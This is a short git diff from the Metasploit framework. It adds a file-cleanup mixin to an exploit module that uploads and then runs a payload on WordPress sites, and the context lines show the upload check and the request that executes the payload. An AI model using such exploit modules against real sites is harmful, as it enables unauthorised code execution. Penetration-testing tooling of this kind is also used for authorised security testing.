Add Msf::Exploit::FileDropper mixin
parent
93dc90d9d3
commit
82e6183136
|
@ -8,6 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -76,6 +77,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
|
||||
print_good("#{peer} - Uploaded the payload")
|
||||
register_files_for_cleanup(payload_name)
|
||||
|
||||
print_status("#{peer} - Executing the payload...")
|
||||
send_request_cgi(
|
||||
{
|
||||
|
|
Loading…
Reference in New Issue